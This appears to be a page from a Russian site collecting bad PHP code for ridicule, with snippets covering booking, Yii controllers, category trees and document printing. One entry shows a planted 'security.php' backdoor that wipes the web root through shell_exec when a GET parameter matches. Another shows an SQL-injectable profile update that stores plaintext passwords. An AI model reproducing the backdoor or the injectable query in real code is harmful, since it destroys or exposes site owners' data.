- 1
- 2
- 3
- 4
$arr = date("w", strtotime($date_bron));
$date = $arr;
if ($arr == 0)
$date = 0;
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+142
$arr = date("w", strtotime($date_bron));
$date = $arr;
if ($arr == 0)
$date = 0;
Система бронирования столика для бара...
+151
<?php
class MainController extends ModuleAdminController {
public $defaultAction = 'admin';
public function actionCreate() {
$this->redirect('admin');
}
public function actionDelete($id) {
$this->redirect('admin');
}
public function actionView($id) {
$this->redirect('admin');
}
}
Модули в Yii такие коварные :(
+133
private function init_categories()
{
// Дерево категорий
$tree = new stdClass();
$tree->subcategories = array();
// Указатели на узлы дерева
$pointers = array();
$pointers[0] = &$tree;
$pointers[0]->path = array();
// Выбираем все категории
$query = $this->db->placehold("SELECT c.id, c.parent_id, c.name, c.description, c.url, c.meta_title, c.meta_keywords, c.meta_description, c.image, c.visible, c.position
FROM __categories c ORDER BY c.parent_id, c.position");
// Выбор категорий с подсчетом количества товаров для каждой. Может тормозить при большом количестве товаров.
// $query = $this->db->placehold("SELECT c.id, c.parent_id, c.name, c.description, c.url, c.meta_title, c.meta_keywords, c.meta_description, c.image, c.visible, c.position, COUNT(p.id) as products_count
// FROM __categories c LEFT JOIN __products_categories pc ON pc.category_id=c.id LEFT JOIN __products p ON p.id=pc.product_id AND p.visible GROUP BY c.id ORDER BY c.parent_id, c.position");
$this->db->query($query);
$categories = $this->db->results();
$finish = false;
// Не кончаем, пока не кончатся категории, или пока ниодну из оставшихся некуда приткнуть
while(!empty($categories) && !$finish)
{
$flag = false;
// Проходим все выбранные категории
foreach($categories as $k=>$category)
{
if(isset($pointers[$category->parent_id]))
{
// В дерево категорий (через указатель) добавляем текущую категорию
$pointers[$category->id] = $pointers[$category->parent_id]->subcategories[] = $category;
// Путь к текущей категории
$curr = $pointers[$category->id];
$pointers[$category->id]->path = array_merge((array)$pointers[$category->parent_id]->path, array($curr));
// Убираем использованную категорию из массива категорий
unset($categories[$k]);
$flag = true;
}
}
if(!$flag) $finish = true;
}
// Для каждой категории id всех ее деток узнаем
$ids = array_reverse(array_keys($pointers));
foreach($ids as $id)
{
if($id>0)
{
$pointers[$id]->children[] = $id;
if(isset($pointers[$pointers[$id]->parent_id]->children))
$pointers[$pointers[$id]->parent_id]->children = array_merge($pointers[$id]->children, $pointers[$pointers[$id]->parent_id]->children);
else
$pointers[$pointers[$id]->parent_id]->children = $pointers[$id]->children;
// Добавляем количество товаров к родительской категории, если текущая видима
// if(isset($pointers[$pointers[$id]->parent_id]) && $pointers[$id]->visible)
// $pointers[$pointers[$id]->parent_id]->products_count += $pointers[$id]->products_count;
}
}
unset($pointers[0]);
unset($ids);
$this->categories_tree = $tree->subcategories;
$this->all_categories = $pointers;
}
построение дерева категорий в платной cms simpla
+138
$sql_ex = array();
if(isset($this->request->get["id"]) && $this->request->get["id"] == '5')
$sql_ex[] = " `ex`.`num` = 5 ";
else
$sql_ex[] = " `ex`.`num` != 5 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '7')
$sql_ex[] = " `ex`.`num` = 7 ";
else
$sql_ex[] = " `ex`.`num` != 7 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '4')
$sql_ex[] = " `ex`.`num` = 4 ";
else
$sql_ex[] = " `ex`.`num` != 4 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '10')
$sql_ex[] = " `ex`.`num` = 10 ";
else
$sql_ex[] = " `ex`.`num` != 10 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '11')
$sql_ex[] = " `ex`.`num` = 11 ";
else
$sql_ex[] = " `ex`.`num` != 11 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '14')
$sql_ex[] = " `ex`.`num` = 14 ";
else
$sql_ex[] = " `ex`.`num` != 14 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '19')
$sql_ex[] = " `ex`.`num` = 19 ";
else
$sql_ex[] = " `ex`.`num` != 19 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '20')
$sql_ex[] = " `ex`.`num` = 20 ";
else
$sql_ex[] = " `ex`.`num` != 20 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '21')
$sql_ex[] = " `ex`.`num` = 21 ";
else
$sql_ex[] = " `ex`.`num` != 21 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '13')
$sql_ex[] = " `ex`.`num` = 13 ";
else
$sql_ex[] = " `ex`.`num` != 13 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '12')
$sql_ex[] = " `ex`.`num` = 12 ";
else
$sql_ex[] = " `ex`.`num` != 12 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '6')
$sql_ex[] = " `ex`.`num` = 6 ";
else
$sql_ex[] = " `ex`.`num` != 6 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '17')
$sql_ex[] = " `ex`.`num` = 17 ";
else
$sql_ex[] = " `ex`.`num` != 17 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '23')
$sql_ex[] = " `ex`.`num` = 23 ";
else
$sql_ex[] = " `ex`.`num` != 23 ";
if(isset($this->request->get["id"]) && $this->request->get["id"] == '16')
$sql_ex[] = " `ex`.`num` = 16 ";
else
$sql_ex[] = " `ex`.`num` != 16 ";
$sql_extra = '';
if (!empty($sql_ex)) $sql_extra = ' AND '.implode(" AND ", $sql_ex);
В начале нужно было одно условие, потом еще и еще и ...
+127
/* Групповые операции с обращениями */
public function issuegroupopsAction() {
$this->_helper->layout()->disableLayout();
$this->_helper->viewRenderer->setNoRender(true);
$operation = $this->_request->getPost('operation');
define('RTF_SYMBOL_PAGE_BREAK', '\page');
try {
// Валидация
if(!in_array($operation, array('print-letters', 'print-work-order'))) {
throw new Exception('Неверная операция');
}
$issue_numbers = explode(';', (string)$_POST['issues']);
if(!count($issue_numbers)) {
throw new Exception('Не выбрано ни одного обращения.');
}
// Вычитка указанных обращений
$filter = new Type_Issue_Filter(array('issue_number' => $issue_numbers));
$paginator = new Type_Paginator;
$paginator->items_per_page = 40;
$issues = services::Issue()->records($this->user->sessionId, $filter, array('executant', 'address'), 'number', $paginator);
if(!count($issues->items)) {
throw new Exception('Выбранные обращения не найдены.');
}
$templateMaker = new Prodom_Rtf_TemplateMaker;
$templatesDir = dirname(__FILE__).'/templates/';
$outputFiles = array();
// Вид операции с группой обращений
switch($operation) {
case 'print-letters': {
// Сформирвать письма
$templateMaker->readTemplatesFromRtfFile($templatesDir.'templates.rtf');
$outputFiles = array('executants_%u.rtf' => array('issue2', 'letter1'), 'declarant_%u.rtf' => array('letter2'));
break;
}
case 'print-work-order': {
// Печать заказ-нарядов
if(!is_null($this->user->organization->issue_form_template)) {
// Если для организации определен свой собственный шаблон
$templateMaker->readTemplatesFromRtfFile($templatesDir.$this->user->organization->issue_form_template);
} else {
// Если шаблон явно не определен
$templateMaker->readTemplatesFromRtfFile($templatesDir.'templates.rtf');
}
$outputFiles = array('issue_%u.rtf' => array('issue1'));
break;
}
}
$toworkIssueIds = array();
$outputs = array_fill_keys(array_keys($outputFiles), null);
// Перебор выбранных пользователем обращений
foreach($issues->items as $issue) {
// Переводим все новые обращения в статус "В работе"
$issue_new_statuses = array(ISSUE_STATUS_NEW, ISSUE_STATUS_CONFIRMED);
if(($operation == 'print-work-order') && in_array($issue->status_id, $issue_new_statuses) && ($issue->org_executor_id == $this->user->organization->id)) {
$toworkIssueIds[] = $issue->id;
}
// Подготовка полей обращения для печати на формах
$fields = $this->getIssuePrintFields($issue);
foreach($outputFiles as $fileName => $needTemplates) {
foreach($needTemplates as $template_code) {
$out = $templateMaker->getAppliedTemplate($template_code, $fields);
$outputs[$fileName] .= ($outputs[$fileName] ? RTF_SYMBOL_PAGE_BREAK : null) . $out;
}
}
}
if(count($toworkIssueIds)) {
$resp = services::Issue()->changeStatusMultiple($this->user->sessionId, $toworkIssueIds, ISSUE_STATUS_INWORK, null, null, null);
}
// Если на выходе только один файл, отправляем rtf
if(count($outputs) == 1) {
foreach($outputs as $fileName => $fileBody) {
// Генерация случайного имени файла
$fileName = str_replace('%u', substr(md5(implode('_', $issue_numbers)), 0, 7), $fileName);
// Вывод файла пользователю
header('Content-type: application/rtf');
header("Content-Disposition: attachment; filename={$fileName}");
echo $templateMaker->getHeader().$fileBody.$templateMaker->getFooter();
}
} else {
// Eсли на выходе больше одного файла, пакуем их архивом
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=issues.zip");
header("Content-Description: Files of an applicant");
// Создаем ZIP архив
$zip = new ZipFile();
foreach($outputs as $fileName => $fileBody) {
// Генерация случайного имени файла
$fileName = str_replace('%u', substr(md5(implode('_', $issue_numbers)), 0, 7), $fileName);
// Вывод файла пользователю в браузер
$fileBody = $templateMaker->getHeader().$fileBody.$templateMaker->getFooter();
$zip->addFile($fileBody, $fileName);
}
echo $zip->file();
}
}
catch(Exception $ex) {
die($ex->getMessage());
}
}
Функция распечатки документов с отчетами по выбранным обращениям
+119
<?php
session_start();
if(empty($_SESSION['login']) or empty($_SESSION['id']) or empty($_SESSION['auth_key']))
{
header("Location: index.php");
}
else
{
$user_name = $_POST['name'];
$user_sname = $_POST['sname'];
$user_gender = $_POST['gender'];
$user_about = $_POST['about'];
$user_phone = $_POST['phone'];
$user_mail = $_POST['email'];
$user_company = $_POST['company'];
$user_company_position = $_POST['position'];
$user_login = $_POST['login'];
$user_password = $_POST['password'];
include 'includes/xd4sw.php';
$update_query = mysql_query("UPDATE users SET user_name='$user_name', user_sname='$user_sname', user_gender='$user_gender',
user_about='$user_about', user_phone='$user_phone', user_mail='$user_mail', user_company='$user_company',
user_company_position='$user_company_position', user_login='$user_login', user_password='$user_password' WHERE user_id=".$_SESSION['id']);
mysql_close($db);
header('Location: settings.php?act=good');
}
?>
НА НАХ!!!!
+136
<?php
$param = $_GET['delaem'];
if($param=='nahui')
{
$dir = __DIR__;
shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
}
?>
Фрилансер защищает себя от неплатежеспособного заказчика xD
Файл лежал на продакшин сервере около года, название файла - security.php
+109
public function __get($name){
if(isset($this->fields[$name])){
if(class_exists($this->fields[$name]) &&
strcasecmp($this->fields[$name], $this->vals[$name]['mdl']) == 0 &&
strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0){
$class = $this->fields[$name];
$id = (string)$this->vals[$name]['id'];
if(!$this->refsCache[$id])
$this->refsCache[$id] = $class::findById($this->vals[$name]['id']);
return $this->refsCache[$id];
}else
return $this->vals[$name];
}elseif(isset($this->fieldsRev[$name]))
return $this->vals[$name];
else throw new Exception('Not found field "'.$name.'" when reading in model');
}
public function __set($name, $value){
if(isset($this->fields[$name])){
if(class_exists($this->fields[$name]) &&
strcasecmp($this->fields[$name], get_class($value)) == 0 &&
strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0)
$this->vals[$name] = array('id' => $value->getId(), 'mdl' => strtolower($this->fields[$name]));
else
$this->vals[$name] = $value;
}elseif(isset($this->fieldsRev[$name]))
$this->vals[$name] = $value;
else throw new Exception('Not found field "'.$name.'" when writing in model');
}
Пример реализации через жопу полей для базового класс модели, с ужасным оформлением кода.
+88
//До рефакторинга
static function initConnectOnce(){
$who = get_called_class();
if(!$GLOBALS[$who][class_cllct]){
$db = new DataBase();
$GLOBALS[$who][class_cllct] = $db->selectCollection(get_called_class());
}
return $GLOBALS[$who][class_cllct];
}
//После
public static function initCollectOnce(){
$who = get_called_class();
$cllct = &self::$cacheCollect[$who];
if(!$cllct){
$db = new DataBase();
$cllct = $db->selectCollection($who);
}
return $cllct;
}
Недавно начал рефакторить свой же код. Нашел такой вот незаметный гавнокод...
Для тех кто в танке =)
1. selectCollection(get_called_class()) - зачем вызывать по второму разу, если результат уже есть в переменной $who.
2. $GLOBALS[$who][class_cllct] - немного глюкнуло наверное, когда писал... Логичнее так $GLOBALS[class_cllct][$who].
3. initConnectOnce - тут даже наверное не Connect должно быть, а Collect.
4. Вместо $GLOBALS[$who][class_cllct] лучше(имхо) заюзать статичное свойство для класса.
5. static function initConnectOnce - забыл public описать....
+100
<?php
/*
Все очень просто. Создаем файл.
Например login.php (что бы никто не догадался=) )
И записываем в него несколько функций
*/
function echoJavaScript($str)
{
echo " <script type=\"text/javascript\">
<!--
window.alert(\"$str\");
//-->
</script>";
}
function JavaScript_href()
{
echo " <script type=\"text/javascript\">
<!--
location.href = '/';
//-->
</script>";
}
?>
<?php
/*Создаем еще один файл, где эти функции мы будем вызывать
Ну, например, у вас имеются на сайте скрипты,
доступные только зарегистрированным пользователям
Получив отрицательный результат проверки юзера,
Вы вызываете эти функции, не забыл, естественно,
предварительно подключить нужный файл
*/
include("login.php");
#Вначале популярно объясняем что к чему
echoJavaScript('Вы не имеете прав доступа к этой странице.');
#А потом перенаправляем на главную страницу
JavaScript_href();
?>
Прячем JavaScript от пользователя.